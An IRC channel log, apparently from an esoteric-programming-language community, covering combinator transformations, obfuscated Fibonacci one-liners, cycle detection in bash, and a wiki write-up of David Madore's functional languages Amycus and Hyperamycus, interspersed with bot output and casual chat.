06:52:13 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45453&oldid=45450 * Quintopia * (-33) /* Examples */ Golfed the quine some more
06:52:31 <hppavilion[1]> Remember that I had to figure out how many variables there were in the process, so abcdefg might be too many
06:53:44 <HackEgo> [wiki] [[Combinatory logic/Analysis of combinators]] http://esolangs.org/w/index.php?diff=45454&oldid=45436 * Hppavilion1 * (+2217) Various new combinator walkthroughs, some might even be right!
06:56:48 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45455&oldid=45453 * Quintopia * (+0) /* Hello, world! */ Original had a comma
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07:06:50 <HackEgo> [wiki] [[Combinatory logic/Analysis of combinators]] http://esolangs.org/w/index.php?diff=45456&oldid=45454 * Hppavilion1 * (+570) MOAR combinators
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08:06:33 <oerjan> hppavilion[1]: a(bc)(de)(fg) = B(a(bc)(de))fg = BB(a(bc))(de)fg = B(BB(a(bc))defg = BB(BB)(a(bc))defg = B(BB(BB))a(bc)defg = B(B(BB(BB))a)bcdefg = BB(B(BB(BB)))abcdefg
08:07:18 <oerjan> it's a mechanical transformation that way
08:07:54 <oerjan> @pl \a b c d e f g -> a(b c)(d e)(f g)
08:10:20 <oerjan> @pl \a bc d e f g -> a bc(d e)(f g)
08:11:48 <oerjan> @pl \abc d e f g -> abc(d e)(f g)
08:12:55 <oerjan> i suppose there might be alternative paths
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08:59:24 <b_jonas> \oren\: re char count, thanks
09:06:12 <b_jonas> \oren\: since you're now extracting the set of characters automatically, you can also add some automatic checks: make sure that all characters are on the demo page, make sure that all printable characters encodable in certain byte encodings are all in your font, say iso-8859-{1,2,4,15,16}, cp125{2,0,1}-new, ibm{437,850,852}
09:10:14 <b_jonas> Especially in ibm437 because that's important, has strange characters, and the unicode encoding is not well defined historically.
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10:31:47 <fungot> mroman: to use the janko layout :( en tii ei toimi fnord vaan sanoo ett mulla ei oo fnord ja nyt koko fnord haisee fnord. let me check
10:31:59 <mroman> fungot: Is that a keyboard layout?
10:31:59 <fungot> mroman: who needs two asses?' as if vim is some unknown entity
10:32:23 <mroman> fungot: two donkeys are better than one.
10:32:24 <fungot> mroman: each blogger has the ability to send items fnord. ( and we didn't have autocad) ( else)
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10:34:43 <b_jonas> fungot: but two mules are even better than two donkeys
10:34:44 <fungot> b_jonas: and very very bad explanation lying on pastebin and i'm adding the last bits; the interpreter is in vm/ heap/ stack/ probably?
10:57:50 <mroman> fungot: Are you a mule?
10:57:51 <fungot> mroman: although i guess tentacles could be called " main" procedures at the top level is really just a suburb of new york. i almost have to.
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11:40:33 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
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11:43:24 <fungot> boily: in case you haven't noticed. " heh." ( if that were the subject of a cfj was used as an interpreted has failed this ' local' served up an english breakfast, complete with ftl ship, while he watches them via a microscope.
11:44:03 <boily> a Full English Breakfast delivered by FTL ship. I could see myself eating that last Sunday.
11:45:10 <b_jonas> fungot: you still don't really understand punctuation, do you?
11:45:10 <fungot> b_jonas: and at this point in time.
11:46:14 <boily> fungot's spacetime alignment is a little fuzzy...
11:46:14 <fungot> boily: fnord annotated 7907 with " rsa" at http://paste.lisp.org/ display/ fnord? starts with lambda calculus
11:47:52 <Taneb> > let loeb x = go where go = fmap ($ go) x in tail . loeb $ const 1 : map (fmap sum . take) [0..]
11:47:54 <lambdabot> [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946,...
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11:57:44 <HackEgo> vjoba: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
11:57:58 <boily> Taneb: Tanelle. that is vile.
11:58:24 <Taneb> boily: I was trying to get the triangle numbers, is the worst thing
11:59:11 <boily> that is terrifyingly vile.
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12:00:03 <boily> beuh, a fleeing `relcomed newcomer...
12:00:20 <Taneb> Maybe they're going to DALnet or EFnet
12:01:22 <Taneb> Or maybe they really do not like rainbows
12:03:05 <b_jonas> `perl -le$==1,(1x$_)=~/(^)(1|11\1)*(?{$=++})^/,print$=for 0..20
12:03:06 <HackEgo> 2 \ 3 \ 5 \ 8 \ 13 \ 21 \ 34 \ 55 \ 89 \ 144 \ 233 \ 377 \ 610 \ 987 \ 1597 \ 2584 \ 4181 \ 6765 \ 10946 \ 17711 \ 28657
12:05:06 <Taneb> I have no idea how that works
12:05:48 * boily eats breakfast cereals. cereals are simple.
12:06:55 <b_jonas> Taneb: http://www.perlmonks.com/?node_id=796576 and follow links from there
12:07:33 <FireFly> I don't have a really obfuscated fib, but..
12:07:35 <FireFly> [ {.{.|:(+/ .*)^:(<20)~2 2$*i.4
12:07:58 <izabera> how do you detect cycles in a list like this? a->b b->c c->d ... z->a
12:08:22 <Taneb> izabera: isn't there the.. yeah
12:08:54 <izabera> ok it's not a linked list actually
12:09:08 <FireFly> well the principle still works I think
12:09:22 <Taneb> Unless it could be a lazy infinite list
12:09:39 <izabera> i'm trying to fix something in (guess what) bash
12:09:48 <izabera> how bash resolves namerefs
12:11:13 <izabera> i'll try to apply tortoise and hare <.<
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12:44:27 <HackEgo> [wiki] [[Talk:5-logic]] http://esolangs.org/w/index.php?diff=45457&oldid=14929 * Martin Büttner * (+504)
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12:58:13 <mroman> izabera: topological sorting?
12:59:25 <izabera> i didn't mean to steal your focus sorry
12:59:51 <mroman> I don't know. It's the only algorithm I associate with cycle detection in graphs.
12:59:57 <mroman> well.. that's the only one I was taught at least.
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13:01:30 <mroman> You throw every node out that has no inputs
13:01:34 <mroman> and you're left with cycles
13:03:30 <izabera> i'm not doing anything that fancy <.<
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14:47:33 <b_jonas> Question. Does the particular representation of a computability class that David Madore defines in http://www.madore.org/~david/weblog/d.2015-11-16.2337.html count as an esoteric programming language (not implementable, because it's more powerful than Turing-complete)?
14:49:07 <b_jonas> It is well defined enough that you can write prorams for it, but it's not inteded to be practically programmed, so it might count as one, but then IA64 machine code could also count as esoteric programming language in that sense.
14:50:13 <izabera> where's the english version?
14:51:32 <FireFly> I think the definition of an esolang is fuzzy and weak enough that it would probably count
14:51:40 <FireFly> not having read it, just going by your description
14:52:02 <FireFly> I think the only thing that makes IA64 machine code not an esolang is that it's actually used in practice for practical purposes...
14:52:55 -!- int-e_ has set topic: int-e.
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14:53:19 -!- int-e has set topic: The flating channel. | /ɛ̃ˈglɪʃ spɛˈliŋ ʀɘfɔʀm/ | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://esolangs.org/.
14:53:37 <int-e> sometimes my brain is awfully confused :-(
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15:00:03 <int-e> Well, that's a lie. It's always terribly confused, but it's usually much better at hiding that fact from the outside world.
15:00:04 <b_jonas> Pity it doesn't have a name given.
15:00:08 <fungot> int-e: made it long before i lose interest. but thanks, i'll read in it a bit more :) but then i'll be free to contribute)...)
15:00:21 <HackEgo> jwinslow23/JWinslow23 is not here.
15:00:26 <HackEgo> bonvenon/Bonvenon al la internacia centro por la desegno kaj ellaso de esoteraj programlingvoj! Por pli da informado, vizitu la Viki-on: http://esolangs.org/wiki/Main_Page. (Por la alia speco de esotero, iru al #esoteric sur irc.dal.net.)
15:00:46 <HackEgo> kmc/kmc ran the International Devious Code Contest of 2013
15:01:28 <b_jonas> fungot, should I code this the straightforward way or the tricky way?
15:01:29 <fungot> b_jonas: will you marry me? ( sorry i don't have
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15:02:35 <ais523> perhaps surprisingly, that is not the first time I've seen a bot make a marriage proposal
15:03:15 <int-e> b_jonas: the tricky way is fraught with peril down the road
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15:17:50 <b_jonas> It's actually two programming langauges, because he also claims that by dropping rule 7, you get a language that is Turing complete but no more powerful.
15:18:52 <b_jonas> ais523: "Question. Does the particular representation of a computability class that David Madore defines in http://www.madore.org/~david/weblog/d.2015-11-16.2337.html count as an esoteric programming language (not implementable, because it's more powerful than Turing-complete)?"
15:19:13 <b_jonas> I think it does, but it doesn't have a nice name, so we need to give those two languages nice names and document them on the esowiki.
15:19:29 <FireFly> Would make it more accessible too
15:19:38 <ais523> oh right, David Madore writes a large subset of things in French
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15:28:57 <b_jonas> ok, so what name should we use for these two languages?
15:30:43 <b_jonas> int-e: no, I think that's the computational class. we need something for this particular programming language with that power, and for the other language that computes only all computable functions too.
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15:32:05 <b_jonas> We need a snappy name, like "Real Fast Nora's Hair Saloon 3: Shear Disaster Download
15:32:05 <int-e> izabera: I believe that ^^ was for you
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15:44:01 <HackEgo> [wiki] [[User:B jonas]] http://esolangs.org/w/index.php?diff=45458&oldid=44539 * B jonas * (+139) /* Todo */
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15:59:27 <quintopia> b_jonas: How about "In-silico Vector Construction"
16:02:39 <quintopia> b_jonas: "Panglossian Prerogative"?
16:05:54 <b_jonas> quintopia: we need two related names. one for the computable version, one for the more powerful one.
16:06:33 <b_jonas> because the languages are related too
16:06:35 <quintopia> "The Comutable One" "The More Powerful One"
16:06:51 <b_jonas> maybe throw in a "++" for the more powerful one
16:07:42 <quintopia> "Pizza Parlor" "Sex Parlor" i think that conveys the relatedness and the relationship between them
16:37:59 <HackEgo> [wiki] [[Banana Scheme]] http://esolangs.org/w/index.php?diff=45459&oldid=20646 * B jonas * (+187)
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17:18:48 <b_jonas> MaRo writes some hard to believe things in http://magic.wizards.com/en/articles/archive/making-magic/know-what-2015-11-16
17:19:33 <b_jonas> (1) he says he's vowed to make assembling contraptions work some day, and (2) he says they're doing fewer clone effects these days
17:22:00 <b_jonas> hmm, (2) actually seems true. interesting...
17:22:33 <b_jonas> I mean, for a while there were a ton of clone effects in uncommon, which was strange to me because at the time I was the most active, there were almost none
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17:25:48 <ais523> b_jonas: (1) is true but probably misguided
17:25:56 <ais523> I've tried analyzing the grammar of that phrase myself
17:26:04 <ais523> there are very few actions that could possibly be templated like that
17:27:03 <ais523> the closest I can get using existing keywords is "whenever a «Goblin» you control would «block» an «Elf», it «blocks» two «Elves» instead" which I think is correctly templated but wouldn't be printed due to the actual ability raising too many questions
17:27:55 <ais523> also I personally think the biggest problem with M:tG is that it's all focused on creating temporary metagames that you throw away after a few months
17:28:00 <ais523> rather than working on really improving a single metagame
17:28:21 <ais523> meaning that they can be quite simplistic and easy to solve and Wizards just has to slow down the thread of information, and also that the game doesn't have long-term appeal without continuously spending money
17:32:59 <ais523> "slow down the spread of information"
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18:42:44 <b_jonas> ais523: I definitely agree that trying to make assembling contraptions work is a bad idea
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19:04:02 <b_jonas> aha! it actually makes sense this way
19:04:27 <b_jonas> rule 5 is doing what that rule should be doing, and what it does in that language whose name I can't remember, it's just difficult to read
19:04:55 <ais523> we should make a language whose name is impossible to remember
19:05:12 <ais523> but also isn't just a bunch of mashing on the keyboard, and whose name is also hard to abbreviate or substitute as something else
19:05:32 <ais523> The Language That Shall Not Be Abbreviated As ABCDEF is probably the best we have in this regard so far
19:05:39 <b_jonas> that could be achieved by making a set of languages whose names are all similar
19:05:44 <b_jonas> as in, twisty maze of passages
19:06:01 <b_jonas> though of course "impossible" isn't easy to satisfy when you're on this channel
19:06:06 <b_jonas> people take it as a challenge
19:06:17 <FireFly> Well I never remember INTERCAL's *name* (as opposed to acronym)
19:06:35 <ais523> Compiler Language With No Pronounceable Acronym
19:06:53 <FireFly> No, what ais523 said is the canonical name I think
19:07:01 <FireFly> Well, INTERCAL might be the actual name
19:07:05 <ais523> it's defined as something like "INTERCAL, which stands for Compiler Language With No Pronounceable Acronym"
19:08:23 <ais523> this makes it rather philosophical what its name actually /is/
19:08:40 <ais523> it's one of the best esolang naming screwups that wasn't created by cpressey
19:08:46 <b_jonas> but which rules lets you cons a pair? there has to be one, you can't be expected to build it from addition because you need to make conses to implement that because rule 6 has to be involved and it needs lists
19:08:54 <ais523> (intentional screwups, I should say)
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19:11:37 <ais523> b_jonas: just out of interest: if you come across a website in a language you don't know and machine-translate it, do you translate it into English or Hungarian?
19:12:01 <b_jonas> ais523: I don't know, I almost never try to machine-translate websites
19:12:18 <b_jonas> but if I tried, I probably machine translated it to English
19:12:27 <izabera> in my understanding google translates to english first and then to the second language
19:12:34 <ais523> I used to do it more, and got decently good at reading "machine translator output that's allegedly English" (which is really a language of its own)
19:12:42 <ais523> but I haven't done it for a while
19:12:47 <ais523> (especially since I decided to break ties with Google)
19:12:48 <b_jonas> ais523: from what source languages?
19:13:00 <ais523> b_jonas: French was probably the most common
19:13:09 <b_jonas> ais523: and did you read it without reading the source in parallel, or with?
19:13:11 <ais523> although I know enough French to make semi-sense of articles written in it even without translation
19:13:25 <b_jonas> French is easier to translate to English automatically than Chinese that is
19:13:43 <b_jonas> especially if you read texts about mathematics or informatics, where most of the words simply mirror translate
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19:14:43 <b_jonas> can you make sense of the language in http://www.madore.org/~david/weblog/d.2015-11-16.2337.html ?
19:14:45 <ais523> that makes sense, although you have to be very careful sometimes
19:14:56 <b_jonas> and if you can't cons, how do you use rule 6?
19:14:56 <ais523> (e.g. fr:positif = en:nonnegative)
19:15:13 <b_jonas> ais523: that's not really uniform, neither in English nor in French, sadly
19:16:52 <b_jonas> he gives a sample program so it should be possible to figure it out
19:18:05 <b_jonas> and from the simple interpreter he gives, it is clear that he does not depend on the particular representation of pairs, so it's even more clear that it must not be built from successor
19:19:11 <b_jonas> oh! I think you can use rule 4 (the composition rule) to cons, because it passes a list as argument, and not every program takes that list apart
19:19:49 <ais523> hppavilion[1]: int is not very interesting when interpreted as a theorem, though
19:19:56 <b_jonas> that wouldn't let you cons, but it would let you list, which should probably be enough
19:20:11 <ais523> b_jonas: for my paper, one of the papers I cite was in German
19:20:16 <b_jonas> because nothing in the language requires you to use variable length lists
19:20:26 <ais523> I know a little German but was mostly just reading the mathematical notation
19:20:41 <ais523> shachaf: which reminds me, did you read my thesis yet? you bugged me for so long for a copy ;-)
19:21:05 <b_jonas> ais523: didn't you say it would be available starting from december, or something?
19:21:14 <ais523> b_jonas: publicly, yes
19:21:28 <ais523> shachaf negotiated with the thesis archival people here to be allowed an early copy
19:22:04 <b_jonas> he argued that it's very important for his research?
19:22:33 <shachaf> b_jonas: It's being kept hidden for ais523's sake, not for the university's.
19:22:43 <shachaf> He's free to send a copy to anyone as far as I can tell.
19:23:03 <ais523> they basically said it was OK for me to send shachaf a copy directly, so I did
19:23:11 <ais523> the reasoning/nature for the rules is very complex
19:23:29 <ais523> incidentally I could have had a hold placed on the publication of the thesis, although only a relatively short one without a really good reason
19:23:35 <ais523> it's unclear to me why I'd have wanted to
19:26:20 <b_jonas> ok, so why does he say that rule 0 isn't really needed?
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19:31:31 <b_jonas> can you give a program equivalent to <0> that uses only rules 1..6? I don't see how to do that, but it's probably possible
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19:38:36 <b_jonas> but at least I can see why if you use rules 0..6 you get a reasonably easy to use turing-complete programming language, on the esoteric scale
20:03:21 <HackEgo> [wiki] [[Combinatory logic/Analysis of combinators]] M http://esolangs.org/w/index.php?diff=45460&oldid=45456 * Hppavilion1 * (+105) /* B[2] combinator */
20:03:43 <HackEgo> [wiki] [[Combinatory logic/Analysis of combinators]] http://esolangs.org/w/index.php?diff=45461&oldid=45460 * Hppavilion1 * (-1) /* C combinator */ Fixed a letter
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20:18:12 <izabera> http://imgur.com/gallery/ueKVqjY this
20:21:51 <quintopia> hppavilion[1]: why are you a computer?
20:22:13 <ais523> hppavilion[1]: is that Prolog? or just a language designed to look like it?
20:22:25 <ais523> actually it can't be Prolog unless it's been split mid-predicate
20:22:32 <ais523> because Prolog predicates end with a full stop, not a semicolon
20:30:16 <hppavilion[1]> ais523: It's a prolog-like language, but it's not prolog
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20:33:52 <myname> everybody should use more curry
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20:39:33 <myname> like https://en.m.wikipedia.org/wiki/Curry_(programming_language)
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20:58:47 <b_jonas> What's the name of that programming language used in early papers about programming language theory that has rules very similar to 2 and 5 of David Madore's machine, that is, where the basic way to build functions is to compose other functions with arbitrary arity as in the Applicative instance of (->) ?
20:59:34 <b_jonas> I think it has some famous inventory or something.
21:03:44 <myname> https://github.com/ryanmcdermott/birdseed
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21:11:10 <b_jonas> Do you know which language I'm talking about?
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21:15:13 <b_jonas> I think it might be, like, the original pure functional programming language, or close to it.
21:15:29 <b_jonas> Not the first pure functional programming language, because Church probably precedes it, but still
21:15:34 <b_jonas> maybe the first one without variables
21:15:40 <b_jonas> so more like the original Unlambda
21:16:40 <b_jonas> only it has ennary composition instead of just S, and easy access to any parameter of the current function
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21:18:16 <b_jonas> But this doesn't give much keywords to search for.
21:18:53 <b_jonas> Does my explanation make sense?
21:19:31 <b_jonas> myname: no no, those are real langauges used on a comptuer
21:19:40 <b_jonas> this is for writing stuff on paper, back when efficient computers were rare
21:20:00 <b_jonas> also, doesn't have variables, in the sense that unlambda doesn't have them
21:20:22 <b_jonas> but you can emulate variables just like in unlambda or any other complete combinator calculus
21:24:25 <fizzie> Help me, Oer-Jan Kenobi, you're my only hope!
21:27:17 <b_jonas> Maybe it's connected to Howard Curry
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22:25:48 <hppavilion[1]> I had to do a workaround for Complex Conjugate. It's $<num> instead of <num>*
22:26:06 <hppavilion[1]> I ALSO included binary ~, which chooses a number in a range
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22:51:06 <fungot> boily: google knows all!!
22:52:29 <fizzie> I didn't teach it that.
22:54:14 * boily eyes fizzie with suspicion and a mapole
22:54:34 <fizzie> fungot: Tell them that was all your own opinion.
22:54:34 <fungot> fizzie: ( added null operators on the end) does leak memory...
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22:55:58 <boily> at least the 'got now balances his parentheses.
22:56:24 <fungot> shachaf: what two stars does? to me it's just too hard. how much power do you get fnord to open a window on every x desktop and cat urandom into it
22:56:47 <shachaf> if you think two stars is too hard, wait until you hear of ais523's new language
22:57:37 <fizzie> fungot: Every X desktop in the world?
22:57:37 <fungot> fizzie: i do not care, then remembered again!) paste a line of joyce wrote fnord/ fnord/ fnord/ fnord and friends
22:57:54 <fizzie> There goes the balance.
22:59:54 <boily> `` cat /dev/urandom
22:59:54 <HackEgo> ;kbuVBFV捬x@Xz&eFK9"S<2BJ.Tca≉W(vH܆xŁ/:
23:01:44 <boily> is it displayed the same everywhere: http://imgur.com/JHGm7eO ?
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23:14:34 <zgrep> boily: https://clbin.com/D0pijl.png
23:15:13 <izabera> http://i.imgur.com/hPDIW6w.png
23:17:04 * boily strokes his beard. “interesting...”
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23:21:52 <FreeFull> Awesome, we have j-bot here too
23:24:49 <zgrep> Let's see if I can remember this...
23:25:00 <j-bot> zgrep: |syntax error
23:25:00 <j-bot> zgrep: | ~/'izabera'
23:25:05 <zgrep> Nope, apparently not.
23:36:23 <izabera> anyway you guys seriously lack imagination when picking names
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23:39:24 <HackEgo> [wiki] [[Special:Log/newusers]] create * Blakusl * New user account
23:46:01 <fungot> izabera: how does one go about binding scheme ( say, on the other
23:46:40 <izabera> hppavilion[1] beacuse he uses an hp pavilion
23:47:03 <fizzie> HackEgo because you can hack on it.
23:49:33 <FreeFull> zgrep: What was ~/ meant to do?
23:51:34 <izabera> it's your home directory hth
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23:55:01 <HackEgo> [wiki] [[User:Hppavilion1/UniFunge]] http://esolangs.org/w/index.php?diff=45462&oldid=45441 * Hppavilion1 * (+1311) Meanings
00:06:36 -!- Sprocklem has joined.
00:07:53 <zgrep> FreeFull: Not what happened. :P
00:07:58 <zgrep> izabera: Not what I meant.
00:07:59 -!- Vinegar has quit (Ping timeout: 276 seconds).
00:08:18 <zgrep> FreeFull: Well, it's meant to do that, but that's not what I wanted to happen.
00:11:45 <izabera> can i create a page about that brace expansion thingy?
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00:43:44 <oerjan> not even ctrl-alt-del works...
00:47:58 <oerjan> it seems like any programs i want started, i must start shortly after the machine boots
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00:50:17 <oerjan> and then i must not leave it idle too long, or it will reboot.
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01:37:16 <boily> hellœrjan. are you still suffering from an unstable machine?
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01:41:43 <HackEgo> Bonvenon al la internacia centro por la desegno kaj ellaso de esoteraj programlingvoj! Por pli da informado, vizitu la Viki-on: http://esolangs.org/wiki/Main_Page. (Por la alia speco de esotero, iru al #esoteric sur irc.dal.net.)
01:41:57 <oerjan> `` mv wisdom/{bonvenon,welcome.eo}
01:42:15 <HackEgo> grep: bin/selflink: Too many levels of symbolic links
01:42:36 <HackEgo> lrwxrwxrwx 1 5000 0 8 Jun 21 02:47 bin/selflink -> selflink
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01:59:15 <\oren\> what characters should I add today?
02:03:07 <izabera> the ones you forgot yesterday
02:04:56 <boily> https://www.youtube.com/watch?v=Seh9_sFv1Z4
02:05:14 <boily> (this video is dedicated to all this fine channel's insomniacs.)
02:05:27 <boily> \oren\: have you covered the jōyō kanji yet?
02:06:20 <\oren\> https://www.youtube.com/watch?v=TeiTkkp2TKM
02:06:25 <boily> izabera: it was one of the videos showcased yesterday night.
02:06:51 <\oren\> yay let's all pst youtube links without any clue to what they point to
02:07:05 <boily> you see, every Monday night, I attend the «Lundi Douteux». it's a weekly event in a bar near home where they show disturbing and disquieting things on a screen.
02:08:34 <HackEgo> [wiki] [[Special:Log/newusers]] create * SilverWingedSeraph * New user account
02:09:12 <boily> https://www.youtube.com/watch?v=rLy-AwdCOmI
02:09:50 <boily> izabera: of course not. it goes deeper.
02:19:40 <HackEgo> [wiki] [[User:SilverWingedSeraph]] N http://esolangs.org/w/index.php?oldid=45463 * SilverWingedSeraph * (+24) Create empty page.
02:20:58 <boily> https://www.youtube.com/watch?v=FTIkCbDdBNc
02:21:33 <boily> @localtime izabera
02:21:34 <lambdabot> Local time for izabera is Wed, 18 Nov 2015 03:20:17 +0100
02:21:49 <boily> izabera: shouldn't you be sleeping?
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02:28:25 * oerjan realizes he forgot to include the OOTS book in his backup, it wasn't in Documents
02:30:43 <boily> aaaaaaaaaaaaaaaah!
02:32:52 <izabera> i should rather block time requests
02:34:53 <boily> time to pillow for me. bonne nuizabera!
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02:36:52 <oerjan> @tell boily no, my computer _is_ still working enough to copy more
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02:49:49 <tswett> I just proved that for a natural number n, the n-fold successor of 1 is the successor of n.
02:53:11 <tswett> Dang, if I keep this up, I might just be able to prove that the natural numbers are a commutative semiring.
02:56:18 <oerjan> tswett: russell and whitehead, eat your heart out!
02:57:03 <tswett> I'm using possibly the minimum feasible axiomatization of the natural numbers.
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02:57:42 <tswett> I'm not even admitting logic.
02:58:02 <tswett> My system has no concept of disjunction.
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03:09:06 <HackEgo> [wiki] [[Language list]] M http://esolangs.org/w/index.php?diff=45464&oldid=45315 * Blakusl * (+14) Adding Brackit language
03:09:47 <\oren\> oerjan: oh, good, you're doing backups. are you going to nuke the computer after or just get a new one?
03:11:05 <HackEgo> [wiki] [[Semantic Brain]] N http://esolangs.org/w/index.php?oldid=45465 * SilverWingedSeraph * (+7733) Create page and add specification, description, and sample programs.
03:14:22 <HackEgo> [wiki] [[Semantic Brain]] M http://esolangs.org/w/index.php?diff=45466&oldid=45465 * SilverWingedSeraph * (+12) Fix categorization.
03:17:39 <tswett> Woo! I proved addition commutative, and it only took about ten minutes.
03:18:23 <tswett> Lemme describe my system.
03:19:08 <tswett> The ambient "logic" is that of a finite limit category.
03:20:44 <tswett> Better known as a finitely complete category.
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03:22:24 <tswett> "There are natural numbers. Zero is a natural number. The successor of a natural number is a natural number. Given a value z and a function s, there is a function R such that R(zero) = z and for all n, R(succ(n)) = s(R(n)). Given two functions f and g, if f(zero) = g(zero), and f(succ(n)) = g(succ(n)) whenever f(n) = g(n), then f = g."
03:25:29 -!- myndzl has changed nick to myndzi.
03:27:12 <tswett> My hope is that that's enough to prove... a bunch of stuff.
03:27:21 <tswett> It's enough to prove addition commutative!
03:34:21 <\oren\> Holy shit awesome tweets going out under hashtag #ISISクソコラグランプリ
03:34:37 <\oren\> (Isis eat shit grand prix)
03:37:55 <\oren\> wait, no. ISIS shit collage grand prix
03:39:09 <izabera> `` sed -r "s|([+-])|))\1((|g;s|([*/])|)\1(|g;s|.*|((&))|" <<< "a*b+c^d/e"
03:42:11 <oerjan> \oren\: decisions, decisions.
03:43:29 <\oren\> oerjan: they made a girl chracter called ISIS chan who wears a burka and likes melons for some reason
03:46:06 <\oren\> https://twitter.com/ztube_
03:46:37 <lifthrasiir> \oren\: AFAIK the melon signifies a severed head
03:50:10 <\oren\> well hopefully this annoys the real isis
03:51:48 <lifthrasiir> uh, I don't think so, ISIS uses a media outlet as a primary tactic and it may repurpose the character for its own good
04:13:09 <HackEgo> [wiki] [[~EarthBit]] N http://esolangs.org/w/index.php?oldid=45467 * Conor O'Brien * (+865) Created page with "'''EarthBit''' is a [[Joke language]] that is interesting in that all the operators are confused. == Syntax == In EarthBit there are numeric literals, the only data type. Eac..."
04:14:11 <HackEgo> [wiki] [[~EarthBit]] http://esolangs.org/w/index.php?diff=45468&oldid=45467 * Conor O'Brien * (+19)
04:14:55 <oerjan> @tell b_jonas <b_jonas> oerjan, help me! <-- FP? doesn't sound quite like it though.
04:15:09 <HackEgo> [wiki] [[~EarthBit]] M http://esolangs.org/w/index.php?diff=45469&oldid=45468 * Phase * (+0)
04:17:51 <HackEgo> [wiki] [[~EarthBit]] http://esolangs.org/w/index.php?diff=45470&oldid=45469 * Conor O'Brien * (+167)
04:18:25 <\oren\> Maybe I should also output a breakdown of my font by blocks
04:22:39 <HackEgo> [wiki] [[User:Conor O'Brien]] http://esolangs.org/w/index.php?diff=45471&oldid=45309 * Conor O'Brien * (+33) /* Languages I have made */
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04:54:33 <\oren\> is there an equivalent to sed that works well with binary files?
04:56:04 <izabera> there's gcc + your c skills
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05:06:05 <izabera> do you need it for your font?
05:08:18 <oerjan> hmph another surprise reboot but at least IE recovered the tabs
05:13:28 <hppavilion[1]> I think I'll work on Kastor and how literals work in it
05:20:23 <quintopia> why is the overlap between this channel and the ppcg stack exchange so narrow?
05:24:59 <izabera> https://youtu.be/xdRvmHqhiHA oooh cool
05:51:19 <hppavilion[1]> I'm considering having a different between => and : dicts in Kastor, but I don't know what to make the difference xD
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06:36:00 <newsham> oren: file('out', 'wb').write(file('in', 'rb').read().replace('this','that'))
06:39:07 <izabera> am i the only one thinking that chriss cornell looks like christian bale?
06:39:40 <izabera> http://www.metalinsider.net/site/wp-content/uploads/2014/02/chris-cornell-soundgarden-353x.jpg
06:40:18 <izabera> also listen to this, it's awesome even if it's not my genre https://www.youtube.com/watch?v=zpMfZPAc1kg
06:41:58 <\oren\> he looks baleful indeed
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06:45:58 <newsham> all those irish guys look the same to me
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07:12:18 <b_jonas> \oren\: "is there an equivalent to sed that works well with binary files?" => perl
07:16:57 <HackEgo> [wiki] [[Special:Log/newusers]] create * Tobsta * New user account
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07:29:50 <adu> b_jonas: xxd
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08:15:56 <b_jonas> oerjan: yes, that might be what I was thinking, and indeed it's similar: it doesn't have a builtin like the rule 5 of David's machine, but only a separate B-like composition builtin and a list-building builtin
08:22:07 <b_jonas> Also, I was thinking more of David's language, and I definitely get the esoteric jive from it, so now I'm sure it's an esolang that deserves to be examined more.
08:29:18 <HackEgo> [wiki] [[Brackit]] N http://esolangs.org/w/index.php?oldid=45472 * Blakusl * (+5757) Creating the page.
08:36:48 <b_jonas> I'll have to write about it later.
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08:40:05 <b_jonas> ] 12*-/(2-%:3)(^%])1+2*i.14
08:40:17 <b_jonas> ] 1j15": 12*-/(2-%:3)(^%])1+2*i.14
08:40:30 <b_jonas> ] 0j15": 12*-/(2-%:3)(^%])1+2*i.14
08:40:30 <evalj> b_jonas: 3.141592653589794
08:40:49 <b_jonas> ] 0j15": (($&0 12 0 _12%i.)28)p.2-%:3
08:40:50 <evalj> b_jonas: 3.141592653589794
08:40:59 <evalj> b_jonas: 3.141592653589793
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09:38:14 <izabera> https://www.codeeval.com/open_challenges/201/ i solved this but my solution is too slow http://arin.ga/cZMwGs/raw
09:38:22 <izabera> any hint to improve it? :\
09:39:51 <izabera> a better algorithm or i dunno
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10:12:29 <HackEgo> [wiki] [[Amycus]] N http://esolangs.org/w/index.php?oldid=45473 * B jonas * (+4724) Created page with "'''Amycus''' is simple Turing-equivalent functional programming language defined by [[David Madore]] in [http://www.madore.org/~david/weblog/d.2015-11-16.2337.html#d.2015-11-1..."
10:14:17 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45474&oldid=45473 * B jonas * (+112)
10:16:12 <HackEgo> [wiki] [[Hyperamicus]] N http://esolangs.org/w/index.php?oldid=45475 * B jonas * (+2387) Created page with "'''Hyperamycus''' is a functional programming language defined by [[David Madore]] in [http://www.madore.org/~david/weblog/d.2015-11-16.2337.html#d.2015-11-16.2337 his 2015-11..."
10:20:30 <HackEgo> [wiki] [[Hyperamicus]] http://esolangs.org/w/index.php?diff=45476&oldid=45475 * B jonas * (+509)
10:20:53 <HackEgo> [wiki] [[David Madore]] http://esolangs.org/w/index.php?diff=45477&oldid=8771 * B jonas * (+41)
10:23:43 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45478&oldid=45474 * B jonas * (+335)
10:25:31 <b_jonas> Someone might want to check if what I write about Amycus makes sense.
10:25:59 <b_jonas> If you've checked and it seems correct (in particular the transformation of lambda expressions to Amycus) please drop me a line.
10:29:42 <HackEgo> [wiki] [[User:B jonas]] http://esolangs.org/w/index.php?diff=45479&oldid=45458 * B jonas * (-139)
10:32:31 <HackEgo> [wiki] [[Brackit]] http://esolangs.org/w/index.php?diff=45480&oldid=45472 * Blakusl * (+3151)
10:39:51 <HackEgo> [wiki] [[Brackit]] http://esolangs.org/w/index.php?diff=45481&oldid=45480 * Blakusl * (+9) /* Objects */
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10:50:21 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45482&oldid=45478 * B jonas * (+856)
10:55:22 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45483&oldid=45482 * B jonas * (+15)
